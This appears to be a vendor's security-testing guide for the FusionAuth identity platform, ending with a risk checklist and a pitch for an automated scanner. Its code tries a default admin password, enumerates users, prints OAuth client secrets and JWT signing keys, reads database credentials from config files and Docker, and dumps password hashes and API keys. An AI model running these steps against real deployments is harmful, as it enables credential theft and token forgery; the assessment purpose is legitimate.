FusionAuth Security Testing: Default Credentials, API Key, Database, and fusionauth.properties

FusionAuth is a widely deployed open-source authentication and identity management platform used as a self-hosted alternative to Auth0 and Okta, managing users, OAuth 2.0 applications, JWT signing keys, and multi-tenant identity across development, staging, and production environments. Compromising FusionAuth is high-impact because it controls authentication for all downstream applications. Key assessment areas: FusionAuth API keys provide full administrative control over all users, applications, and JWT signing keys; fusionauth.properties stores the database password and runtime encryption key; the /api/key endpoint exposes HMAC and RSA signing keys enabling JWT forgery for all dependent applications; OAuth 2.0 client secrets are accessible via the API; and multi-tenant isolation can be tested for cross-tenant data leakage. This guide covers systematic FusionAuth security assessment.

Table of Contents

  1. Admin Panel Access and API Key Testing
  2. API User, Application, and JWT Key Enumeration
  3. fusionauth.properties Database and Encryption Key
  4. FusionAuth Security Hardening

Admin Panel Access and API Key Testing

# FusionAuth — admin panel access and API key testing
FUSIONAUTH_URL="https://auth.example.com"

# Check if FusionAuth admin panel is accessible
curl -s -o /dev/null -w "%{http_code}" "${FUSIONAUTH_URL}/admin/" 2>/dev/null
# 200 = admin panel accessible (should be restricted to internal networks)

# FusionAuth admin login — credentials set during setup
curl -s -c /tmp/fa_sess -b /tmp/fa_sess \
  -X POST "${FUSIONAUTH_URL}/api/login" \
  -H "Content-Type: application/json" \
  -d '{"loginId":"admin@example.com","password":"admin","applicationId":"3c219e58-ed0e-4b18-ad48-f4f92793ae32"}' \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'user' in d:
    print(f'Login OK: {d[\"user\"].get(\"email\")}')
    print(f'Token: {d.get(\"token\",\"N/A\")}')
else:
    print(f'Failed: {d}')
" 2>/dev/null

# Test API key access — FusionAuth uses Authorization: header with API key
API_KEY="your-fusionauth-api-key"
curl -s "${FUSIONAUTH_URL}/api/system-configuration" \
  -H "Authorization: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sc = d.get('systemConfiguration',{})
print(f'FusionAuth accessible: {\"systemConfiguration\" in d}')
print(f'CORS enabled: {sc.get(\"corsConfiguration\",{}).get(\"enabled\")}')
" 2>/dev/null

API User, Application, and JWT Key Enumeration

# FusionAuth REST API — user, application, and signing key enumeration
FUSIONAUTH_URL="https://auth.example.com"
API_KEY="your-fusionauth-api-key"

# Search all users — complete identity database
curl -s -X POST "${FUSIONAUTH_URL}/api/user/search" \
  -H "Authorization: ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"search":{"queryString":"*","numberOfResults":100,"sortFields":[{"name":"email"}]}}' \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"email\")} verified={u.get(\"verified\")} active={u.get(\"active\")}')
    regs = u.get('registrations',[])
    for r in regs:
        print(f'    App: {r.get(\"applicationId\")} roles={r.get(\"roles\")}')
" 2>/dev/null

# Get all applications — OAuth 2.0 client secrets
curl -s "${FUSIONAUTH_URL}/api/application" \
  -H "Authorization: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('applications',[])
print(f'Applications: {len(apps)}')
for a in apps:
    oauth = a.get('oauthConfiguration',{})
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")}')
    print(f'    clientId: {oauth.get(\"clientId\")}')
    print(f'    clientSecret: {oauth.get(\"clientSecret\")}')
" 2>/dev/null

# Get all JWT signing keys — CRITICAL: enables JWT forgery for all applications
curl -s "${FUSIONAUTH_URL}/api/key" \
  -H "Authorization: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
keys = d.get('keys',[])
print(f'Signing keys: {len(keys)}')
for k in keys:
    print(f'  [{k.get(\"id\")}] {k.get(\"name\")} type={k.get(\"type\")} algo={k.get(\"algorithm\")}')
    # HMAC keys return the secret value directly
    if k.get('secret'):
        print(f'    SECRET: {k.get(\"secret\")}')
    # RSA keys return the private key PEM
    if k.get('privateKey'):
        print(f'    PRIVATE KEY: {str(k.get(\"privateKey\"))[:80]}...')
" 2>/dev/null

fusionauth.properties Database and Encryption Key

# FusionAuth fusionauth.properties and database access

# fusionauth.properties — database credentials and runtime encryption key
cat /usr/local/fusionauth/config/fusionauth.properties 2>/dev/null | \
  grep -E "database.password|database.username|database.url|fusionauth.runtime-mode"
# database.password — PostgreSQL database password
# database.url — full JDBC URL with host and database name
# fusionauth.runtime-mode — production vs development

# Docker deployment
docker inspect fusionauth 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['DATABASE','PASSWORD','FUSIONAUTH','API_KEY']):
            print(e)
" 2>/dev/null
# DATABASE_PASSWORD — PostgreSQL password
# FUSIONAUTH_API_KEY — bootstrap API key

# PostgreSQL direct access — users and API keys
psql -U fusionauth -d fusionauth 2>/dev/null << 'EOF'
-- All users with bcrypt password hashes
SELECT u.id, u.email, u.verified, u.active,
       encode(u.password, 'escape') as password_hash
FROM users u
ORDER BY u.insert_instant
LIMIT 20;
EOF

# API keys stored in database
psql -U fusionauth -d fusionauth 2>/dev/null << 'EOF'
SELECT id, key_value, description, insert_instant, last_update_instant
FROM api_keys
ORDER BY insert_instant DESC
LIMIT 20;
EOF
# key_value — the plaintext API key stored in the database

FusionAuth Security Hardening

FusionAuth Security Hardening Checklist:
Security TestMethodRisk
API key user and registration enumerationPOST /api/user/search with queryString:* — all users across all tenants with email, registration data, and application roles; complete identity database of all downstream application usersCritical
JWT signing key extraction — HMAC secret and RSA private keyGET /api/key with API key — HMAC secret values and RSA private key PEM in plaintext; enables JWT forgery as any user for all applications using that signing keyCritical
OAuth 2.0 client secret enumerationGET /api/application — all applications with clientId and clientSecret; enables impersonating OAuth 2.0 applications to obtain access tokens for any userCritical
fusionauth.properties database credential extractionRead fusionauth.properties — database.password PostgreSQL credentials; direct database access to users, api_keys (plaintext), and all FusionAuth configurationCritical
Admin panel network exposureGET /admin/ — check HTTP status; 200 = admin panel accessible from unauthorized network; provides browser-based access to all FusionAuth management functionsCritical (if publicly accessible)

Automate FusionAuth Security Testing

Ironimo tests FusionAuth deployments for admin panel network exposure, API key user enumeration across all tenants, JWT signing key extraction (HMAC secrets and RSA private keys enabling token forgery), OAuth 2.0 client secret enumeration, fusionauth.properties database credential extraction, api_keys table plaintext key extraction, admin API key permission audit, Docker environment variable credential exposure, cross-tenant data isolation testing, and bootstrap API key identification.

Start free scan